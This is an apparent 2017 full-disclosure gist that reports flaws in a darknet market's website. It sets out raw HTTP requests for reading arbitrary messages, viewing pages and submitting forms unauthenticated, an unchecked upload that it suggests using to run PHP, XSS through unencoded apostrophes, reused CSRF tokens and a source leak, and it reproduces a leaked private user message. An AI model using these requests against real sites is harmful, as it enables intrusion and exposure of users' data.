Skip to content

Instantly share code, notes, and snippets.

Created August 1, 2017 12:20
Show Gist options
  • Save anonymous/2b9e7a9ada8ee8d508ab58c347909150 to your computer and use it in GitHub Desktop.
Save anonymous/2b9e7a9ada8ee8d508ab58c347909150 to your computer and use it in GitHub Desktop.

Sourcery Market Security Vulnerabilities

Market Name Sourcery Market
Date 1st August 2017
By t0mcheck
URL sourcel3zg2kzu4k.onion
Test Time 30 minutes
Access Level anonymous, regular buyer account
Disclosure Full - this market shouldn't exist

Sourcery Market is a new Darknet Market

Table of Contents

  1. Vulnerability 1. Read Any Message
  2. Vulnerability 2. Access Any Page and No User Validation
  3. Vulnerability 3. Submit any form
  4. Vulnerability 4: Poor Character Encoding
  5. Vulnerability 5. Incorrect CSRF token implementation
  6. Vulnerability 6. Source Code Leak
  7. Vulnerability 7. PHP handling

Vulnerability 1: Read Any Message

Just pass any message ID to /message.php?messageId=51 and it will return the message to you. Example:

Request

GET /message.php?messageId=51 HTTP/1.1
Host: sourcel3zg2kzu4k.onion
Connection: close

Response:

HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Tue, 01 Aug 2017 13:11:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: PHPSESSID=u4pntaf7ggp0sm8ni4pkphoca3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /message-not-found.php
Content-Length: 4097
<html>
	<head>
		<title>Sourcery</title>
		<meta charset="utf-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1" />
		<link rel="stylesheet" href="assets/css/main.css" />
	</head>
	<body class="subpage">
    <header id="header">
				<div class="inner">
											<a href="vendor-landing-page.php" class="logo">Sourcery</a>
										
					<nav id="nav">
						
						
						<a href="my-orders.php">My Orders</a>
																		<a href="vendor-directory.php">Vendors</a>
						<a href="search-ads.php">Search</a>
						
						<a href="multisig-overview.php">Multisig</a>
						<a href="loyalty-program.php">Loyalty</a>
						<a href="about.php">About</a>
													$2,778.98 / BTC
											
						<a href="messages.php"><img vertical-align="bottom" height="20px" src="images/message.png"></a>
						<a href="alerts.php"><img vertical-align="bottom" height=20px src="images/alert.png"></a>
						<a href="account.php">Hello, </a>
						&nbsp;&nbsp;
						<a href="logout.php">Logout</a>
					</nav>
					<a href="#navPanel" class="navPanelToggle"><span class="fa fa-bars"></span></a>
				</div>
			</header>		<!-- Three -->
			<section id="three" class="wrapper">
				<div class="inner">
					<header>
												<div class="row">
							<h2 align="center"></h2>
							
								
						</div>
											
						
					</header>
					<hr class="major" />
					<ul class="actions">
						<li><a href="/messages.php" class="button">Done</a></li>
						<li><a href="/message.php?messageId=51&isDelete=true" class="button">Delete</a></li>
						
					</ul>
					<center>
						<h4>
											</h4>
					</center>
												<p class="message-bubble other"> 
								<i>
									<a href="/user-profile.php?userId=329012523597">
									</a><br>
									Jul 25 2017 05:11<br>
								</i>
								<br>
								Hello,<br />
<br />
I enabled 2FA and then I later changed my PGP key. How do I re-enable it? I can't find the option to enable 2FA. I logged out and logged back in and it seems like 2FA is activated, but since I have both my new and old key, I'm not sure which PGP key the 2FA used. 							</p>
							
													<p class="message-bubble other"> 
								<i>
									<a href="/user-profile.php?userId=777">
									</a><br>
									Jul 25 2017 05:14<br>
								</i>
								<br>
								Interesting.  It should not have re-enabled your 2FA without you doing so.  To re-enable, go to your account (click the upper right hand corner with your name).  Then select PGP and Electrum.  There should be an option to re-enable it.  If the option isn't there, that means its still enabled. I can tell you which key is being used currently:<br />
<br />
The last part of the key is:<br />
<br />
ul+HddkCSK3fb/9Otpczt1r5oQTgJHeGqU+Z/7mGr2S49RQNE+66Y7BO/MT164Cl<br />
BtsX9DEzbQCGuwP5gzLqPrbIy40OmYUMG3yYE+usEpIu83hEUPL2Lm2P9pcvAn4p<br />
PAQTLxENOs2yHdUieab1lwgsgvejd9Y0j+QGax5FrCJvPLwrhJYKAqf6uW2lrcz5<br />
Y5/BD7qbRIKQFG/D18pJ6ML79uLxwA5o4fQ2LkI1VJsBjf2zZwFrKFeTkLM8sOBp<br />
Kdhpi67dzZmCoi3vJ2xAyuNe0lSnuGHUihA27iiBLDnOv+mKE9eVq80u6vXXMHVz<br />
JRLhdM05Q4M5ns4oE4tN3sFKvbo/T8fB9ePxL8ZDjCcCh6LPgu20IB6iLyM2sNNv<br />
5TeCfQ==<br />
=C6FP<br />
-----END PGP PUBLIC KEY BLOCK-----<br />
							</p>
							
										
				<form action="message.php" method="POST">
					<input type="hidden" name="token" value="cf8650f177c9f52c7476ea714d4699eaf98a0db17e5e045948309689b61a142c">
					
					<div class="12u$">
						<textarea name="reply" id="reply" placeholder="Your Message" rows="10"></textarea>
					</div>
				
					<input type="hidden" name="action" value="reply">
					<input type="hidden" name="messageId" value="51">
					<br>
					<ul class="actions">
						<li><input type="submit" name="submit" value="Reply"></li>
					</ul>
				</form>
				</div>
				
			</section>
		
		<footer id="footer">
			<div class="inner">
				<div class="flex">
					<div class="copyright">
						&copy; Sourcery, Inc - because we know copyrights are respected in onionland
					</div>
					
				</div>
			</div>
		</footer>
	</body>
</html>

Vulnerability 2: Access Any Page and No User Validation

You may have noticed the first vulnerability didnt require a cookie or a login session. Sourcery Market will allow an anonymous user to access any page. It will return a response with a redirect to the login page but also still return the content of the page.

The vulnerability is that they are still returning the page content and then redirecting users with no permissions

Example access the vendor settings page as an anonymous user:

Note the Hello, blank welcome for a non-existing user

Request

GET /vendor-account.php HTTP/1.1
Host: sourcel3zg2kzu4k.onion
Accept: */*
Accept-Language: en
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Tue, 01 Aug 2017 13:30:13 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: PHPSESSID=v2gl6taofcq6qvs3m9q58llgg7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: account.php
Content-Length: 3923
<html>
  <head>
    <title>Sourcery</title>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <link rel="stylesheet" href="assets/css/main.css" />
  </head>
  <body class="subpage">
    <header id="header">
      <div class="inner">
        <a href="vendor-landing-page.php" class="logo">Sourcery</a>
        <nav id="nav">
          <a href="my-orders.php">My Orders</a>
          <a href="vendor-directory.php">Vendors</a>
          <a href="search-ads.php">Search</a>
          <a href="multisig-overview.php">Multisig</a>
          <a href="loyalty-program.php">Loyalty</a>
          <a href="about.php">About</a>
          $2,770.50 / BTC
          <a href="messages.php">
            <img vertical-align="bottom" height="20px" src="images/message.png">
          </a>
          <a href="alerts.php">
            <img vertical-align="bottom" height=20px src="images/alert.png">
          </a>
          <a href="account.php">Hello,</a>
          &nbsp;&nbsp;
          <a href="logout.php">Logout</a>
        </nav>
        <a href="#navPanel" class="navPanelToggle">
          <span class="fa fa-bars"></span>
        </a>
      </div>
    </header>
    <!-- Three -->
    <section id="three" class="wrapper">
      <div class="inner">
        <header class="align-center">
          <h2>My Account</h2>
          <center>
            <div class="info-prompt">Please note that you must enable 2FA before posting an advertisement.</div>
          </center>
          <ul class="actions fit small">
            <li>
              <a href="#" class="button special fit small">Basic Account Info</a>
            </li>
            <li>
              <a href="/vendor-account-countries.php" class="button fit small">Ship Countries</a>
            </li>
            <li>
              <a href="/vendor-account-keys.php" class="button fit small">My PGP & Electrum</a>
            </li>
            <li>
              <a href="/vendor-account-ads.php" class="button fit small">My Ads</a>
            </li>
          </ul>
        </header>
        <hr class="major" />
        <ul class="actions">
          <li>
            <a href="/logout.php" class="button">Logout</a>
          </li>
          <li>
            <a href="/edit-vendor-account.php" class="button">Edit</a>
          </li>
          <li>
            <a href="/vendor-account.php?action=setDefaultCurrency" class="button">Set Default Currency</a>
          </li>
          <li>
            <a href="/vendor-account-password.php" class="button">Change Password</a>
          </li>
          <li>
            <a href="vendor-account.php?action=setVacationMode&vacationMode=1" class="button">Start Vacation</a>
          </li>
          <li>
            <a href="compose-message.php?userId=777" class="button">Message Sourcery</a>
          </li>
        </ul>
        <div class="row">
          <article>
            <header>
              <h3>My Vendor Profile</h3>
            </header>
            <div class="box">
              <p>
                <form method="post" action="vendor-account.php"  enctype="multipart/form-data">
                  <input type="hidden" name="token" value="e893e9c3d0defc26f2c7dc509a6e66d9f2ec6bc8d53823c4ea4368ab246f7fe3">
                  <input type="hidden" name="action" value="setPhoto">
                  To change your profile photo:
                  <br>
                  <input type="file" name="fileToUpload" id="fileToUpload">
                  <br>
                  <br>
                  <ul class="actions">
                    <li>
                      <input type="submit" name="submit" value="Upload Image">
                    </li>
                  </ul>
                </form>
                <span class="image left">
                  <img src="ad-images.php?photoName=vendor--1-.gif">
                </span>
                <b>Referral URL: http://sourcel3zg2kzu4k.onion/new-account.php?refCode=7b2f8dd7aa4dd184dcb675951
                  <br>
                  Default Currency: USD</b>
                <br>
                <br>
              </p>
            </div>
          </article>
        </div>
      </div>
    </section>
    <footer id="footer">
      <div class="inner">
        <div class="flex">
          <div class="copyright">&copy; Sourcery, Inc - because we know copyrights are respected in onionland</div>
        </div>
      </div>
    </footer>
  </body>
</html>

Vulnerability 3: Submit any form

Likewise with above you can submit any form.

Example: upload a vendor profile image for a vendor account that doesnt exist as an anonymous user

Request

POST /vendor-account.php HTTP/1.1
Host: sourcel3zg2kzu4k.onion
Content-Length: 921
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTGoeBHRTahqtl40Z
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Connection: close

------WebKitFormBoundaryTGoeBHRTahqtl40Z
Content-Disposition: form-data; name="token"

6ca9a3864afdf52a862a9b6c60f114e48439b2a9f5ded5703ade358d23b8126a
------WebKitFormBoundaryTGoeBHRTahqtl40Z
Content-Disposition: form-data; name="action"

setPhoto
------WebKitFormBoundaryTGoeBHRTahqtl40Z
Content-Disposition: form-data; name="fileToUpload"; filename="1x1.gif"
Content-Type: image/gif

GIF89a��<TRIMMED>
------WebKitFormBoundaryTGoeBHRTahqtl40Z
Content-Disposition: form-data; name="submit"

Upload Image
------WebKitFormBoundaryTGoeBHRTahqtl40Z--

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Tue, 01 Aug 2017 13:29:23 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: PHPSESSID=f6jbinid5mqir2t4bt7nnv79d2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: account.php
Content-Length: 3923
<html>
	<head>
		<title>Sourcery</title>
		<meta charset="utf-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1" />
		<link rel="stylesheet" href="assets/css/main.css" />
	</head>
	<body class="subpage">
					<header id="header">
				<div class="inner">
											<a href="vendor-landing-page.php" class="logo">Sourcery</a>
										
					<nav id="nav">
						
						
						<a href="my-orders.php">My Orders</a>
																		<a href="vendor-directory.php">Vendors</a>
						<a href="search-ads.php">Search</a>
						
						<a href="multisig-overview.php">Multisig</a>
						<a href="loyalty-program.php">Loyalty</a>
						<a href="about.php">About</a>
													$2,770.50 / BTC
											
						<a href="messages.php"><img vertical-align="bottom" height="20px" src="images/message.png"></a>
						<a href="alerts.php"><img vertical-align="bottom" height=20px src="images/alert.png"></a>
						<a href="account.php">Hello, </a>
						&nbsp;&nbsp;
						<a href="logout.php">Logout</a>
					</nav>
					<a href="#navPanel" class="navPanelToggle"><span class="fa fa-bars"></span></a>
				</div>
			</header>		
		<!-- Three -->
			<section id="three" class="wrapper">
				<div class="inner">
					<header class="align-center">
						<h2>My Account</h2>
													<center>
							<div class="info-prompt">
								Please note that you must enable 2FA before posting an advertisement.							</div>
						</center>
																														<ul class="actions fit small">
							<li><a href="#" class="button special fit small">Basic Account Info</a></li>
							<li><a href="/vendor-account-countries.php" class="button fit small">Ship Countries</a></li>
							<li><a href="/vendor-account-keys.php" class="button fit small">My PGP & Electrum</a></li>
							<li><a href="/vendor-account-ads.php" class="button fit small">My Ads</a></li>
							
						</ul>
					</header>
					<hr class="major" />
					<ul class="actions">
						<li><a href="/logout.php" class="button">Logout</a></li>
						<li><a href="/edit-vendor-account.php" class="button">Edit</a></li>
						<li><a href="/vendor-account.php?action=setDefaultCurrency" class="button">Set Default Currency</a></li>
						<li><a href="/vendor-account-password.php" class="button">Change Password</a></li>
						<li>
															<a href="vendor-account.php?action=setVacationMode&vacationMode=1" class="button">Start Vacation</a>
													</li>
						<li><a href="compose-message.php?userId=777" class="button">Message Sourcery</a></li>
						
					</ul>
					
					<div class="row">
						
						<article>
							<header>
								<h3>My Vendor Profile</h3>
							</header>
							<div class="box">
							<p>
								<form method="post" action="vendor-account.php"  enctype="multipart/form-data">
									<input type="hidden" name="token" value="8c4274a005f02d5fe0a46fc63f57f8cec6f69300a442944735e9cbf28159f239">
									
									<input type="hidden" name="action" value="setPhoto">
									To change your profile photo:<br>
								    <input type="file" name="fileToUpload" id="fileToUpload"><br><br>
									<ul class="actions">
										<li><input type="submit" name="submit" value="Upload Image"></li>
									</ul>
							    
								</form>
								
								<span class="image left"><img src="ad-images.php?photoName=vendor--1-.gif">
								</span>
								<b>
									Referral URL: http://sourcel3zg2kzu4k.onion/new-account.php?refCode=7b2f8dd7aa4dd184dcb675951<br>
																		Default Currency: USD</b> <br>
									<br>
																	
							</p>
						</div>
						</article>
						
						
					</div>
				</div>
			</section>
		
		<footer id="footer">
			<div class="inner">
				<div class="flex">
					<div class="copyright">
						&copy; Sourcery, Inc - because we know copyrights are respected in onionland
					</div>
					
				</div>
			</div>
		</footer>

		

	</body>
</html>

You can now access the uploaded image at /ad-images.php?photoName=vendor--1-.gif (it overwrote a previous image) which returns a 500 error

There is no sanity checking of the image here - feel free to upload some PHP as the output script will interpret it

Vulnerability 4: Poor Character Encoding

No exploit here but it shouldn't be difficult to find. The character encoding for all inputs is to simply pass it to htmlspecialchars - it passes it blindly without parsing or checking the incoming encoding

Example: enter ";<>' as the users profile text and continue pressing save and it will continue encoding the input

Request

POST /edit-account.php HTTP/1.1
Host: sourcel3zg2kzu4k.onion
Content-Length: 108
Cache-Control: max-age=0
Origin: http://sourcel3zg2kzu4k.onion
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3065.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://sourcel3zg2kzu4k.onion/edit-account.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=9uq63mikbpkg0lcv90pl0r8640
Connection: close

token=6ca9a3864afdf52a862a9b6c60f114e48439b2a9f5ded5703ade358d23b8126a&action=create&profile=%22%3B%3C%3E%27

Response (trimmed):

    <article>
        <header>
            <h3>Buyer Profile</h3>
        </header>
        <p>
            <textarea name="profile" id="profile" placeholder="Profile, optional for buyers.  Strongly suggested for vendors." rows="10">&amp;quot;;&amp;lt;&amp;gt;'</textarea>
        </p>
    </article>

Response II

    <article>
        <header>
        <h3>Buyer Profile</h3>
        </header>
        <p>
        <textarea name="profile" id="profile" placeholder="Profile, optional for buyers.  Strongly suggested for vendors." rows="10">&amp;amp;amp;quot;;&amp;amp;amp;lt;&amp;amp;amp;gt;'</textarea>
        </p>
    </article>

Response III

    <article>
        <header>
        <h3>Buyer Profile</h3>
        </header>
        <p>
        <textarea name="profile" id="profile" placeholder="Profile, optional for buyers.  Strongly suggested for vendors." rows="10">&amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;&amp;amp;amp;amp;amp;gt;'</textarea>
        </p>
    </article>

etc. etc. just a general display of incompetance

Also not that apostrophe's are not encoded - so you can XSS any spot where the output is placed into an HTML tag

Vulnerability 5. Incorrect CSRF token implementation.

Tokens are reused in all forms and not stuck against the session or regenerated - making the implementation useless

Vulnerability 6. Source Code Leaks

Request:

GET /account-set-2FA.php HTTP/1.1
Host: sourcel3zg2kzu4k.onion
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Connection: close

Response (timmed):

Note the PHP

    <div class="6u$ 12u$(medium)">
        <? if(!empty($infoMsg)): ?>
        <h4>Challenge</h4>
        Text to Decode
        <br>
        <br>

Vulnerability 7. PHP handling

All requests are being passed to php-fpm which is why we can exploit the file upload above and why any URL request returns a 500 Internal Server Error including requests for favicon.ico

Request

GET /favicon.ico HTTP/1.1
Host: sourcel3zg2kzu4k.onion
Connection: close

Response

<html>
  <head>
    <title>500 Internal Server Error</title>
  </head>
  <body bgcolor="white">
    <center>
      <h1>500 Internal Server Error</h1>
    </center>
    <hr>
    <center>nginx</center>
  </body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment